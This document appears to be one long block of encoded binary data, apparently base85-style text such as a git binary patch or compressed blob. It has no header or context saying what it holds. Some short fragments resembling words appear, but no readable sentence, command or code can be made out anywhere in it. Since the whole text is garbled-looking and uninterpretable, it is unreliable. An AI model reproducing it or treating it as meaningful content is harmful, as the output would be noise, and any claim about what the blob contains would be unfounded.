z1b}BdR7mF!VW;s1-jeG=Rq*q}?B_Xjzfl`Jr}}+q=Qn7!y1itQ&JlCB9zO1x;|4i}Az;mj<8|&1$9=ypb`}r8fUk3l@ zwEa4i{40385%%kA@;~4;V#w>G7+vi3PyKw=So)R#y#9FS5H}LBwiZ20vK5+$IPbqL;kA2;w_(1TMze9C=dGG-p zWWFkZcTm4~FZytVf|I&L_4g1mBFXaU|hbqbxo4fx7vvQ9dHzkDq9 zbOR4lzrW~%$XMnZfI^}DssamTVR zR`)Fr)bGBM(|7UpOy8JtP8hDOPdH%3ZgV(3zQ6|{;QTgV| z^JMbq>_0Bq^*eROWgj)&-X9!K#{Pa)4P#vC*@ta1JtKR^QRcWZvv*U!8;1SK$DZ9= zUPn`%h1f@ax97{Lrv&@T+VXxS#g}CNSlk>}Y4)xQG&zCOo?@~mZF=gPBzJB`FF7AQGZ|FIbXz`sMWhFni4(=DPZq-KUzoA4hfGRZizo z{ULI_CV#^5FW_@lOTa7t(?Hix{+i?eq?Ywh{)IiuE*Tg3clPkDa=w$tm}u{Zb-voy zcN!OYZ1(+aW!}l-vR^4I{U?vFoW@l!%)alX{ee6gdq8aazKDDoc;wzI8~b8abMncu{&#{u+#vfTc}A|^H^RREq4APuVgE0Y>{sNz?4^!LKgs>r zOTaoIFU-C|{eGRZ-pGrw@2oEKMPA;?lULRoc}4ba@O*&03;QN`UO_&Y{f3v!3;7iG zfF!2RP)_#)@6XwNqw6@u&*JzWK4zVcw@qRCB92e_)Ew^;_T%vWJLO--es7VSkK~(` zQ$6jI+WDP&cCfcTXXhv1qv9R!`dfTIcy!2f0Q|4V5`P3dH~2~LC+hEt(mc{}PqWi{ zdkXKHoCoh&UiK^U-CX~kd0sjX`BCL`zRc<==gTGVQz>PgUjcvZE%%52f_IFaRG%-m zz^}vka+jUzPXyPC2jELuO8w;5Rh<++8a^jOev^GOd=7^^{v(q)>i2S; z^Mbq}d!lY~UqoJry%BtVk32v*^=-}sZ#`b}K=vnJWj}cWezB3Cj(-mBS5EvjctktN z|DK)tP^^^f51+szxx6yhpEzYjJzk2h!F86+C&wiZ<@g_v=L>jk$U`2^@uyw!jo8b$ z;+wK3{~4(3p*+plAN*%}OXbw(0WG9Xif_&SO8p%}nn&8VzkyG!A^saY#7EX`w61m@ z>SqYl9}7Ib%R6zMwbkE?ch(QZcV|BZ?{AX#XFm;}>n0z-{;+%vBhMiAo+)I$D1JEm z-Uxf&P$hfFXRv44FZ&_+3ihXm%=mTe9b3pgPx1TMi^1m>$PX!}{jkp`4{DM++XlHJ&OOy@!R%Eo+|7VUku(KCyzDRUT-zl+V`u}&t~it?**TS zYz6TX)7j?{#diSzl)`=vL*9*@>R$@=^nv)RW28Ui$y7ab+~)B4&%x}JCv?AzYZQ3) zJ*N9`o>(wmichVa^0e72@ngZeL7n7jInNRGd*jZ&N1mSZghHN4;A0^Vc{UYK=XLxH zGG6lRoM$NHnafUnNCuxPAkV|~T!haREMlkpt>AM7t06vOtUS+L3-Jx%^9EbM8^Grc zcCl06>chD9L;L}LeNFRDUXaIi3fB2C@LT8Pd?zo;@x{)V9>gBqhEef*O4FK zr+$k^ReyVz#!K}CLH>B`)Sp~4%ji4_!S_R*Uf@0up9=i+Cpm6f@aK>xJ9q=g;}1UZ zhvX@Y4tdJ3)40;YxGF<@NU*#AUb;W++3CElanru8(S1~B zh<`h;h>q_KezLo~5BL{&M7vTtz90DV9CF+N;B{JM(D4Joe@vF^=^%Ehvs}X%Ry@@? z7~`{*)Om)3&pMl4`)KgGx$VzC(7GK1e*aQh9Y2Acj(awN{eB!BcP99wpLQR}mqDI3 z!KHPcRp4o=imw6pR=fa3RmCC-qrEzUxr}}+w$m@}<;Hf&; z{iphOfd@~tpTm&v2cI3)zAq(@V5jpgT>bqZr~VTVpQCSL%PIa8_{=!sXTckQ{|ouQ zWRdImUGUqd?dK{q-uvLbStb4<_)&hJi{c-%Q-7|OmG?)Ufgg-wzb{YqzXb0(AhjOX z7x35DV{8Ad-OJNa{hdeZPYZRd1l{d@jJ~()6>P6t$E&IRjq2HRQjSaUHP|CI+2;k- zlLkDXmv|<2nwMtqIlAoN5wqpI&d0u3?bpHl9E0}mLf{RO%5y*Rx_muK+)=JOSI?B{GWFO|V}KP+tZjl8zb~2KNTEi_(+w9;&XqH&yP|3DE7{2?e{C4JfpeK)r)z1 ze(~=NQ~X%=7;gf#uVJVBJJsjyDW3jY5AoL~0`rRSNcd)x( zr$<114#;zao$8skvzqn$160px@G?{ zUWE95YF=vc@0OEq;{3I1`dLoc?y0L{1teTY!d$g zJX$C5&+Ig=1xrG${4}ty?9_)Hk#p&Bk#AMwqWA~@G}Q4w!3&JfZuoKT!`y~)T#7%< zc><;c>G(hFG%wwu59H@KzJvOH8TEnwi`2t*ioc*f$LREj{36F+Yt}%=M`5RN-TRZw za++WAt6XQ)P{|VwyiS0440g(MI8_{! z$*g$VZxd@*<9cexQy%i`T<6=F`E~x}>{L(PE?IRwDcIfTX-*`OB)` zEunGIaWg>v9^EB>X7H0EWLyOy|M%pQzc|Ft>{CM5S%RJBG2!b}>UUDATE`6luNXa> z_7Ly}H~qEO0Dqn%xArjbNiFhd4+qaaGQajF;M#R*i^4k3P4xG&-d=*w=$~50ckOAPzl+u0758#;%V{6$2OjXcw&6E; zAL}|Hvf*FY3nq_ZxX%=Oe@?N+^iu3YCxsaCt=K!MJ(kWpr=ITYOA?xSMza62!t|Bw z_to#WW1i#eSC=+0{2Tl8<>qmJuqQ}k=KsxJZJp_nrrP5TQlFQ=<3?p)u+_}(_;t0h zVSF@>kN0=2|I_<7sB3skj&J7jSnO#Io5zjKo+68R+_>z;x0s$lIqm21c%9Joh1Q7| z$9HaR=65_${oNTHS2)KXTyFYK&i{bt%gLX3ntj}1yiU+*-JZK>_L<_zo5XEs95)%~ z3Fdim@;F|K*SXuT@j5}L{P{UU|dKaT%Wze|Ij zlJgAU`E~N7<~&VZc^tp*%9ED!G)G)Qp{AGSJpDP|$rH$VdaKWwV1LMIefD8@;>&aV%gW|DA*c9P>`r`Djz1V; z#*N@AL)BV+?Z1(<7_jL=j zdwFiC-+!a|rTfoK+C84VUX497L#tW$W8`6~pOojoqvqOAgQrPWS^F#Sj$MPbzXc!K zS>iu}M_O1($A4j``OUn(j^)%(AN5`;)kE&5KG#iklBWlcQrgZ#?#oX1!}vRUIUv4f z?dUpBF7OPeqH50r9t%7lc<@Py_Xp1fUI4sLgv1vDZwOul{OWOuF9yB`yaae4Hzm-9}0{Ex&;+4QJCvUF%90J}5=A|llPUwGi@WkLX z!E3^}YJ(RBr}yZcbu|q7Ru8-lczy7D(9dx2qu`Cet3aM6;AS+3et&-Z{181aoghB8`g^R-c{d5X!6Wgh;Qhg8fF}c=4PFF% z9(dV@l7At1EAS=Y>%o_Up9fzBo*sNH_!#gF;2*#@gGYNNb^Z zcslThFkczLQ-fy#{|@WN7yK%CPVmj(dBDHIc>TaHffoR81$hdCmjN#Zz5()-1Wyg| zrNPI6mj#~*eFy^I4_*q1TNfCF{4*9I>I@nPWe)bHXt*Ovz1 zy#ghFL+~#_jdXlV@GBkU{;)OpM)1zywZR91F906~UcRH`AJ0zj&+e*U!K#Put7k)e zF~~#SfbV0+gRcNz|2|ZYYaMt7h~LCc$DNU-oIdW~;1zsLZ)n}mdwE(s3o_yxv)|4f zW_VNfArH*>=IryHo8FSW^h48Iv+v1b=5Nbh+jZRb>^-VAFzV^ZKHcS=*}rr%kK5JB z-`(`??8{)jsBb-$)9Z`3rDeU5_vZN3(C2@^8$zGS|KdD*^Hj9zr`IFo{n-0J{*&PA zVV(a69_^l8Kjpd2POrkK*A zRM#Iz{njfvt+#?6J3p=Sci|fcV7VXZ$4I8$1}|Q-J@- zAFlIfW2gSSIVSzdrQOT(BFx@rsD3~2CrRq*{*Vvh@%DRXzn*pChq1?-Xdl<{5$uV0 zz8oLLzOSiy+%fE(AJ;UFJC5C_fSG@Sa_aMgYxVVbsm@94%fO3)uYGEdi`Gv`@B{B8 zPib~~y*v;8Ze}1m^>c70dHr4v@??d12?n1!**<^ixb?vM-?jTd-T*wtJ@JO%ZQ**+ zn4Q+)^g!9)nnC$n>e!d7(a= zojjYTlKQPl+TSRC8qe?65`mUeKQFUW{`CvOET{a}z*|qKX826bpMQL?&QI~P*o#gQ z{||il#0EP4KKT0y;!oMBo>6MvsebzJ6?kg(_d(E?spC?7PM2@u@z#i1%ZjJ*QXX=O z|F>;DBaah*q>b%P{1%Sy6|IsH@A%OL_IRB-_i_B>#X&~=KkS7TG&cMg`^67648O)6 zGr!#*C;x57SD5{Iz<#u%8ULI;td!}ml+*gGHYe0NF0B*l&s&b4*syoC3#jxN}=Q9u~U53c$sv3V(@`y zBu{E^ABax}`7?g=(fNHLK4)slp9|tQ)X1yj{UN?c|7g0N0ucXXxAdVf#OEC%@x>wj z`^`i;e*na@s-)%7nbva@`oy?b>1eMJuW(b$-~)mW{YR#A)gGMRQ#o?X%cvyw_&P{=X2sTK`a8CwW7z^VU~6ugROTf6Z=sbM~9+bBWG=PVp_- zqt1~1le`D};%4eMB>B2P-j6+Widp9X_Q`$BItQ^&t<=cKGn_rK`n`9|KaxGI%g3-U z`EACJW6z(ltdVC5`|Mt3A7-%E>Qmc@pUeJarI~*Ld$sju9~QFv3^9EXyJxcLOO@05 z@qZ=f9rbgWa@xn{=ger;L+8a$JuGT_pZu$bc&t& zeCnIM{%Ic|Kge~qOVUi&d5N9soY6d|<{S1Q1~Ttoz^kjz z$vE>)ew6#xP<{Ru{RDfNsIpEd{v?k#ke&KTev19W^}4#Bj#E7o6H7nQy@$yDMt+)) z`=0Zt|JBNWhJDc`GyWWVm8o(cMS0G%dnbrujOzmXRabv5DyMalY(*Z=_xSebJSop5 z_PR@pY5&Gf>!C!bx8<}Be}Z>>C;kU~dr$FLs^^rS@+_M!9uNHca`8mqA?kY^R3{xb z3HZ@D$+dg4)3}=E3e)wc2XDBvuJ%metCEIm&kFu#O0afc@Ua1sKL03zWZw;QPnH^7cwgdmndB{71$IGbhx4F)q>{MsmEz*a6 z5Pzen+TS>SA;d4cEAflLi}{ML0H0b>d=2=q7-{r)H-evNCh=Rrugn(T10M2J`h0+$ z)_ zDXRS%c=RU{f0vz}gU#)l%ZjJxjgKIH7(2~7`8{i&@$&3|_$T0PczseH@&_D0E>~`y zpZpQ~lZvGbf5IN!75|KV^jdZQulniaf8pdWV&-|pzNKeYBmND0r-ADA8svG$KF#GH z*bf&p^M7KGzFA%OA6>0w1+h`am9y^DOj9Y{gR^@)+#D)@0G1pr825)atsg z>Zf=w@VemX!5e0f_*~#k5{nlGUzkL^9C#Us4*@UXBk{Gsr$Kyu@b8%SUeA%kz`#q4Q-L z_+%chAoFU7neJ&XYpAKa@W!`%{;u)_8?b$KK76*X1qW9`^RRT z1=xGL@)u%1Utjhs8dnka1+ZU{7h}JkPSyi?3HGLS%z6UYho83hA7>s*v-c@u#s{+h zcI7X}KGu~#i2Y4^vz`jIq?A?y9FMdzuVp{_5;aUHNOW_jA=#n|+6? z{!sS6UGeqU-@D@Lv!`*bhj8|4t~wjB4|I7G<+Lv?dMNi5G>^?VzI4jMdYvx=-~Ta* z;Vn4+q03vb7gN8B=v*HuPaF2wE^o&kQccz&#dok={bopn>?h=%*nd4z&y)H3wHkac z_(t%cK>I$8_NDFM=lsR@g7+#Zenh*Mr*LC0J+4#W!G&eLk$2&7efd{C&*b|A@^0*R z8ku=|u)pQ{>3pI1UhK6-n|b=MpKEC5>C67ZmA^mxKQ150Ueh(M!R+~A-==zove$xr zl6*LOJJ@f@N3strW%g$@`w^FqW#6_&t_zfBJbM`I|Kt!oE@u`AYU)u&&5gvrmO}MZT7Omn(if`!iTq6u*%@mn(iVdw?td zR`zgLo^9;&UA}{T`*68Gr{nHo?_J0o?;iFZFkckEkG;dcGQZ>p*vs*HqjgJui2c?q z`}L{g5$x~#71!&8;*YSmf!AN;$JndZGV46S9_p&|6#H41pJ6ZT@^kE)Tz-K)^CNS- zm)L&>oAq2_FAnRO>c7Um2=*)T8|-=EK9l?=do;MuB)`Re0`?j5JC>`@A;9&8{2qJz zWb!;GW`FU3_~P-v%jfjd`$Hn|FG*xSNvd6a{tDJr3h#EY z6ZT}T_-E_|;q^7ezhDn_#lK=t=*s_wy(L`ND9=0g0b#Ok$v?2ig7r!MiM_Y$xL?@w zyN>&f{nIcxA1Tid_De4R<>a|6>yYCAuwR6ANFHe>y?*!djLa?95%MVP4eQHwnLHZ% zV3)^WpYN(a7JG!t_Ld(z36uR>X);&px%P+&5BuM)tt!re|h9 zU)S`k?59hb{qbcV1<$)Ee-3spczr~ki+!6bJ`a0iSA0Gv-c`Rp`#V=X1=u$YH_w+s zmaBW(uX0~O^%P-$a$fFZbAdm76QK8>lI(OJawe`kmk0y*Nn}57r2CTw;5#6`A^6pV z65km719($*dj32&uKl`|?$4Wp*IkuY*V!3-=SuMc17y6vz?ZSpxMr5DW96axA47Zu z1-ciLV47p3QzAf%2>d-_b8n=UEH>E4QrA_2Av|h;IZx zzdw)8vzgufKJQkDKl4=HFW3g2FIdj69seWGPIh-ccmI$0y^y~buM_ISes-F#jC@@n zKgdq!-PJ$#zD?^S0`mA~l{!y@Z_O`$9=t}7y?;{vYv7gn`bhqOosK)wOYUOP@bMo-t45`M_6*FOX33{09G7PU?@O{)VHof9`rF`)Uk!TF>{g z+1D=`S3Gw2dPo5Ai}p&LiNS}|5KjWWAf42i4E$m-@f6?@MeOsP>PZE@qK3q$1;6*f z-Zv;dJ-fU94D9Z8m;>R;A9(?Ekvzuf#rz`{3jcVejjzzpCZx_YaTBdZzlTvo}_Mht#>gPXsS^Hi`D>+Pyrj z`2K;8I|uxH2^lYWO|B={6kUTV7v~w_z_1_y6SWELVT; z{=W2|yaUIFue9%TsGddO+2Qp*c_)q^?27NgUfAW`*b}`UNv3VC1lLfz%{DS3bP;@wOi$bPAj>4VunxqK-5koIQ$aCSde{7CjxEzJ1Q>@!1U z-BO)n*?)8}Lli7x-^@G<+0*jpXPkLo%)X|JS^rY@bsz2PuM@wV{e{a{vj3@T*14L!{YLrR z1&wztd#jfA{k)TZJ^P$S_UD}(-^gCY6~CFifGd70`=ZbAzN9+tHueSZzBbjfgT0T- zcd>W+V&>Vyp2tXBF?^fLGTLk;~)@C1$upfMG&et*a3p?%m4X1A> zELVRc_&@pl361v@``ET}-+K^z#5H@~=|16zb}!Fy_`J#q@B;9;Ao4R@&%`TI5BWLv zs{A=9s+0Tz`)rqAV(;$qE9|S_eJ;v#jr}D&Pb0sob#9awEw_|J+tSL?w4*uo~k3I&v(IB7Ln`kGssi)g#CJ)@_YtgeO&x2 zcuer0;2Yuf#c%M$e)e-V%I_I$kC(=ErBZr*zZV(&c|M7c4&Lmh{T!9@!~~B9@kzn= z)|UH2Z}8>({w(G30Uy=2v92dIcpLC^>~ufbV}+fc)@=sxiVLOx*&xrmr1t#Mar1&F ztS0lAU+3}ie1-djqToxr+OHF7U6J46^_K9Eye~t3kJnYr*7oZcs+0Ty$A5u50pS01 zl>Fq6I6kDk=}*{yv@`t~`*WASU~k~c^NM|l%ipk1bNM^=PA>nzUfkuM*t@yL^@V-B z%fGS5aMk~V{bO5myuaA*y8Msh9nAPhv+U>m*<8ns!XD4%(JWWr(}(99G%qnYK2sOT z9|#`F<*`&eop<~C$vUL?IPB-atAIZM4+H-U-V%IuPJ5rBb>5xb{T!ed#7DZUzIVW{ z`}%@ESHGw2_yF(|E5rwbpYfIVyN9v6k2{W?-e=j;S^73byZX)KHgf)w$K(F*{3-X< zGqkI}vjFR44tN|`hvW%(zD~iskSAgfTVkK5bY7DuW^eEEr0k1b?#({b_rZxz&;GER^po;uWS<0mCeO^Cy1N;ll|2B~KgIhh zr**p_hpa2|92_4D@~qXaes4d%JP#z##d+4S)B4;CJ|VkYXAgoO&n(xYBj9ac$-aG> zoz_*%)2JtW9}uI|(y#6BpWJ@1ZJ zU~lg7O6&{ab0aj~5ca5Z(iz9C%DxhwGf;eW_El-k`fIZ9oo(i+%|6NHq3lmwUXQ(w z%j>g`ave9EeeGYs=40!vhS^KdVlu$ zE+5D~I*%DYn7wjg(}%KG&u{v0_UxPGc@g!0B>TLL_Wt9n|IzF_hT8Y%j*n#zb;XZ& z^1FPZ6JIvJu}&tlH*<}5Dtj51PiIf-@|o=IUHzHOzR=bGx$OO2dFHd{b@g*0dzC=5 zpNrY^x%#|RIbBD(w3Fw<)aT_K9|qU2^Wc;E$@PwWCC6v_t-iO;*G=-(>=8@M__ge_ zOUk}M@$1>E!~R3Qk$t4gH?yY-F!O9>&-&heJw@w*@@!)-5dZu~~u_u@>>y12ueY-2q5%&4&_lmL4$Jmqj$?I#% zbAr9)J-Lq}KgAwepn#F*414bZkIqi_haLPA>G_QbzGa|1_apzo^_+M4FZQ4H<-DNyKkR!t%XNV~(ro*CVP($B z>l*SX$``9gGK0?4w(3#;^dthme9rV39AC+|ju9W5z4UD}J}!HbL}q+E_LH~F`1tIx zznY$iebWuoz1U0A?^>vR*r`7;dq4X93h*TCJGz_kN!bV2SHGtL@!sqQ>GwUrld~WH z+SG6#_92PQJSo`!bT;#(WIs?ls*xx4|D)@k!|Yg^H~{Z%>|}$D?TxXqHn#0#H@0nW z%p2RbZ95y=w((7!sh;|Ef9Kr4^1M&o>gt-Fo;h={meYER5vGRAX}!^LNy?sgt*kfn z;zz2xjlbq?U#HAG%SHsdjgPsko?Fj;!Mz8*wC82!?>XG=gXv{sxz95!*uC%0=H63g zb?;S*x%ZVG{Or^EZs!}>L!BREy3e2ZlI#z7T!vqCAHQj~^}ATsx-$Fo)kB>J-q`1n z8Gq_j1Gjm;q<5cxN)Gq+458lza#PP}5A}qes^~WUSbg{XJb2u`Pc!Rpm)SnAO;2O} zy?A%^Jn8O!zPF-QbsN9trTcoy_G;)hK1*-+$FX@&_rB)-|L387H5#A4YG0!BmpmDt zN6J&Mcj0xSJPmt7URTO9vghRUUAaH|+ST^{pgcGG23~K<%dvmv=d{^F%Db|^=krK;PxgpLd|&qUy#7`EK=u>7{*_N)f6VJ&`84(+ zyw51#%D$8L8RdJ~lk+~K{4o0@K97{2WUplO^E~@_ZCH2fa>G2XXT{zvSC_&inq zhJ70E=gL2^U*+>uxz8+n9UkHHRCyHk=)C_ckIBBD&tK(<*xT^=t2{Y-Dn5Uer(=J_ z=dbci?A!VLRi2f76`#M#bF!D_^H+HQdnP`AmFH(~%IB~0qAEY1zsgIoXTM&<>!?pP zV%PPz68ngH%{8yeKHZJe`$RW;mT|??>jk9rk?2i`8MctY@#MXEdTDZwj( zX9ZtWxS|su0N!tREyoLiXI)y}@uJ}WwXf@VMeyz0t2w?KJmTO+jvoTwmEZ0g_2C$J z&m!fV__N@NMm2N%3i!>n6&$|-zCN4u`7ZeMhz*?hC*TPR%eXJW=Vol;#J>mkhk1Pg zKQ&b1e}m7pCQ9pv=IcFFj{Dz5(*FqH8=A`TjRxKaj&E%6N@p88`ICdcZ(YgpY~Uq# zN&gFg*SCH@Q`K1*Jaap#vlw`dKC(_qfTs(n>f|X6UglS2$IF55Nm$eI%HTN)%5kX! z{xCqi1$du@vfjFa$BP-{bn6X3oX<@`De{_{m0C(lRlM>Qn>cklthlK&rg?m$^r;fKjO+?QVZ9}|4UU0FYI z!2=`6zLW?&d{yaNa`5$yrJgk41vf~1Ch)A#w;bSyTFZR%fG3$4De&8c$S1HoVY zY3lT|B6#X)vX9jSe^XM9OMP&!d~zN&27hx~`Wys4sH60uEqIqGGH!41NQvaQ^ameN zK*k*kelMkcouYka6nJ1qIq$}Sk9#J0CWG&?e$Ptn1Jl9#zm@#6!2gz!eQzQ7ZHQk1 z{t}MYTJVqQWdGR=eyEuAb2s=y*bfhb4_Peh_6+#w15)Qz@E9FsUEKjM1pWkkVh4$T z4W4A5y>fgczl`{5Sw@ExT;yTEIGmg~y_@aWd-4z&*)10NVh_QOZuEelKiFTlU7 zD(d8U2kzajxZ_{Iw?q6d@Xc){-rM>cm+Jnxcs}W81aKd?zDEW3Ybp1WvA{<~Z|Kw$ z7ra<*IWH1{S9ws+iBADOw~*X#rv~5lTK3Nj;8(lJbs-!0U8pk;_}OQ&9twh|S|j<3 zgP(aS@s+{Prjqy?;0xjYwl4Ug53-Ln0UuXb)>RPr!YUHq8a(8-tlN&@o!ZL2Jr(@# ze{y}C3BEj!9QS$PbKw4PF?gH<(uYmp-3~|}c7R`PFTMxdw}bd$@b(Gid^rVvr-aP+ zDtI%v4&DSm_)^Ztd*J04mUY(KWALvNWIewCuf9yKQ(hzGd^!I~`Wzm7Y$ds0iUK|d zUN6J~U$t1ScX7b8$Cdu%0x#QH)_Gp=cs*oZg~9zk%YIuNd~9qvj%C5e!1+}fyv268 z->VK@>6@(2+TiIU$#HB5KH-q`ttt4zJu=^5@V{T>IJN~(|4QOJfgjH=`$iA&czb2O z{lTA3DCMk&q2QOtNT0`pcZTclWbnjr{>}zJ{#VYg1>on8$-cJ+d?VbCZ2^x4`FDdS zjV#xT!{99n%60h!_?-Q6Jv|S8?^#Kw57)py%#n3<6a4ih$#Wk($64_=;4kiqhZ!a3 zQO^hBQNdqq7Eb^k^j`Xw6#QH<*&kAYFKQykF#~wxWU@Z9gE#yxBAEdrX$=Y-R9zBjtRl4*mi1*8_jCP3mb3embMn9|S((f?R)FgTIB>7ahRIjF9uC zD|p$&;yu8}!*j5H;Je32e};n3hwJZX@XZ;d{_)`d!Mvt`C!3PlS)c!b5B1OC_+s#v zKGOdc;AfK-bK=*4KY8ir_$Kgt9VP!x@V#-m*}?!?~#@4raKJ!t)n zb#*^h()wP%x^FxV9>0W)dkVZyG4TuFtF7-rs61D|C-=(jcqn+iOL-l?3H}rM`4GHA zmgG+SQ}F9qQak<%{BHAqqJ^=Dp+%4C^eBkxw z$aA4U@QqPrA1(#{Dnzc2<-p7Dm;5!rQ^U9oz;lB)0r!SHLEt^%I^GKW-E6799k>rX zhwK7=qoC|Fy}`F+$nPAl0pNjfyhegADQNeZp4)_ge-B9K;PXHAijs4-p9NeY~N>E|MWTl-nF^iALVWM{gGQg?BlMy z9ed_~_Wh^wj_hUo+3QnzC-yYs?c=4q2Ybjk-FveqIcDFls`!5FUHN?t0yWQ{_?S*zd2kix)=ockG#0>h3q!jz2ffzMoNfIHMYslhbi&l}oQ*`Dg3zcVL}q=h^Y~tiNl39?YI-neIc`y&vd4lKpY%uv(r8 z>@Rcc^{i+2YOmK*b-rCs3!|QK?CFepRRHeJ-l%6gdsm}Bp_WrWd$Oy3l2bo_ z81<|8KkR1w_G|h&QF)e@vtQS!<9mbiH%hPf=PmmhV;z2C-)6*rWAB-wnb!Z`?5Q&7 z`F$4H^V(^6SoXjCTuap%fxWjeZZylOZ~fU-AIPb1`;Gcl{9$%8{)C78XFTK|ZOm8Y zAIEOy&u7e6#TQ~X<1cuKzv3Z2o`?A+^f2Gk1@z;h`gYs!WZdWb?5a+3>hps_dLHFD zjPt7x$M-PKud(cTjPq+EdlKXPn#%sk7v{(t2)W4&ZE`!eOP(kRrc##E5x;r zedqY3YxMnrl2D$MH}vz%hkeLR-NUix+o0!(!tU*-?_=%R<43pe^Hn`v*k8BR_qSf` z4W`+55%R^CV$kZyd)|?DyyB zb!KDtYN_YX&A!m6Ge7%;aeAMNv(GiIgC*D_^wH;4#&TLGQP|ZwA-7uL^}(o9#eZQp z~s%|dFryaF~+TDIrX6f zyQ-6%`j9qbGcAvbFU@YoA2I4t@h8~L_)Tl{^`pjpkkq{oS*g!U#m9@HpTElY9nt%v zyhL(6e>0x%fVH}hV?WT+ex0t)ubJ!xjr+ja?B#ms`{7*nxsUby^Vw^b*U#(w>?e%# z-G8xtT*{xcpXaE0nzB!*Xg?=W-kd$|2m5u6@>cA{X6pN42lncr_VW-G-;sUORo#bK zPU~kIyE?w)w0=q~vY)f5Jjz%9)bGPbar{+&ZmHr!*k2p>?aB*&*Yk|!_^NaDbuym4 zrICLEdmW?BNtV;R8nCN*k<+{m81<|8BkX4Ub7Nc;|C-&5|7*-w#rt^3U)kt`im%RY z=I`a9o_-$c*?Unxk0?L&;ez2)xNle3)wtvopP{zC-jvrcd>ZHJ&93s0Q=WVM^w%lM z4;rs8W^jBrV?Uh9-psgPn$6?3Fz%PgY20hZeYJ|e$*$^D@iR~8*E{6{jO*Q8&Y#Z6 zzkvOak!KOtd5m3+OHOr`GV-YSaz>phz6^ZMkY2|rFS1rYkCt-&8Oij0Y&m;nWB**u zzSVf$vBh#azjm^#`pK#O)yDBs-rT5jE9Ys+uJVvmo=3*@LU~u?dZGMcbA5d(Z?sYG z!%5D6*tm|IW}j>H;XM0lWBWuk2Y*=;!r!_KmUi{J+@u8y7Isa9o|Jm4UzAmoaw`6BuZyc9g>_?1o11zWhKV?_*B6s!QSXatN8}m}WC0L)A z@-aPhFQe*o<5bT@c2$px&uY}8d~F2%zDRjcKK;6>{6a$gxL4(RBDL0!V-xnHD|Bzl zUe8M(S9!Lk`h1n=H;(Tl&NJUQzEjx88pm-qdr>3*T=wTa_UA3t`Ld9`#2x*3Zw)qImKxoAmx1We-WA@1G~x)2-9}BKt36-?++tu1S!#&O3vY%+*l{dgN^tkoWC`@nlCx!zv3pI{FmV=I8V~GM^-*>Hc(bD3S`A*Vd8o9lU$mp6_}W{%%r>>JtHCmMNj^0=GX)wtv| zZtR}=xXJ?z&%=3Yv#UJhlxKfcJ&*GHhUeovUPd3tDbI=;dLHE`4KKiXUa+fr$SF@` zH}T~Dh8N;I<&8Y#6#t{EUXSwR-E=R)d5W{EddMkHU1MD3eGD(ld1kSzJmi$8eJy=l z)Yz}D?em- zHO_O4UF9LCJpGLOF6H5)>ieGZjIH!>m526gu3cXma{lxk^!TRiKaKOTH~T;1dfkWp znQ>j~%ih~~9@3A!sxj_B%W41b&aV1EPJI~ZAwI-Ie8uZ}e^j0!#&h7IoWIj<{r-74 z`yXTfnZ_P!^kD|OcNqQtWF~ucGVV|Au?Mx*&x>d5U0Uk?k^PA=?jQD1#<+2p+5NBDK+ltqy|giIX7*yY^yd#n z*yq;Q^R!^kY1Gr(a$0Y-*wwlsr}Z$irk+Q63*-HcDI9;yi2slCzh+nY$tnLYqaGFi z&!|VmKQ`96@_oj>w3zcpGy1la>&ecp>LI6krWxy2d3s~LDSuE;?~n4RM*k11aoN?l zKu{UB>!3$-cLip64|C1S8K?_G-rd7Ruhbv7YA!dmN+x zci7_w>+$z2r}dVHUG;&S`q0jpuZkbfZpJ?_=BwhvHnhhz;~yG*aN>>UkgA^X#(Y)$ z26i)l@m~KwUz*o^<9vU_^L@_aS|P4|=`ni;BhORIsc%!*)wtx8KNj~#xN)lgi*eqm`04TV>#XvWp}N20apxHRo_$|* z{W|-ReOV0s{hF`rMGEN8)BdsVH0p`HoX^vR`sb12uuqPp*BO_+c{IJA43<+LTC%Ht zDxbx5qEnxf8Fi}oRP1K_0;3)kzl0s*sh-6z?f09|Y23O6?C+WbfyzKPPF+-f6k+ec7Kr(7hk~j57NBZo}F47@sQ}X*u=b z0K1wOIn`h0zv9|`vhq5HkLElL*i{~K$}@G0K3^3di`TP?58?QT#&dY(p~iie@-xx& z`&;EdjQvOX+C6$b-*{aA)OtS)tg!2^KV1LZLK*f<_w@UadhAWF+n+yI>!&IEii-Mk z$YAy;e)ji$RD5st`PO$E@%`?h>=)zeb&h0zxI*{Q?BO@)K8Ahz6WzzMf2^RdpYiN1 z+vz@wJ=tR2W39CN=4Z?+o8`3L60xh}PEPA&mvLNF{62OwzQ=TZpHcCB*vs^Es)0T$FD#*1z(6 z#_I^>{`|Z}%~yHcy88a#TFp0{{`|ZXd!ev;-}(}eA?8%JxkG`=#Gd}0=oqeJ4xq_eU(~Qp#{I;Cd?G|=*9Ledp z2NVr)DX(E1m+D+kOC!E6*FV~L zok&jgx6P-Ycgp)4-jMSQW>@nfr#$UC>3vY1-?%+j0`!pKif>mgbbJ6_eJ;u9IqD^z?Tb~Apyu^v>O zy2kmg{M>f^yioouNZ$wgas3h7=-2nP?Bk;A`~ODvb4zvK%pN(czMt%2A7uTl5WIgl z!hRu+p63MnlF@qn8TPlv=k3q3H#g4Ti|nJ)G}p!rWuIqU-=DK5HtxG#vVU8z*ZG#c z$r=6n^_jiHTm5rl-`VMJuD-IXbwW<-JigI?6`z>h zjK6QJ6BYlM-He}Z^i##pVmIUa8+}mmgW1jaqsDy&#nZe-8}}8;R~fIDl~*?QlWd$P z$kbO#`6Rf-`wbf^0&rwFy$xP z>-&=Or^fzPo9j$t^q~R!E93cjEB4FA`v~pX{{`#gc4QxFjN6m_qfzHT%c&3X%=Zg8 zKCQ9es`#?(YWr1Ch%=OvUk=&YZQ%DrOh=le*`-^O_THJa=1z^>{cr+QxV zb1>_luIEe2y^a2aaC|T0x-)@2b|byd(|Ozgb~P?Jjl0+wSNR*`eqavA2N~loU~lkC ze{Qp!$8Ex{#wDk5Po>rG6O`XH-X~hg@zIU*bTxYz)3A@?#jA)mhA_Q+aBm zZ$~*kpK)HFWdCM-U+*%H`-@$TOHSiPF04N{Q0`~=EzXmOUF9LCJm2~Akk&t4eNf(x zpSLK#%khCB`g5v>?5B;_1%KEZ82h2}{KooMe$!Y#QP$XXHZ|g-T2AX{7`vJmIn66< zPrX0N3pCgFljt1pXT-h)>4(PqVB1%FA#b zbl34RJ~vD8Nx)zc)NB z=lRU8@{m*f&5L>-$kMbmj7v(%D*i{~K%5&?6o=5pR!vi_b zCw7&Gobv2)6Hk89@Y0;;tdWPD;$yzl>rtN6@ba7|CA+GJobqHjqvugx)bP5Trv$so zLr!^`-`Ddf?`3!c&eM-w&5NAob;77$ 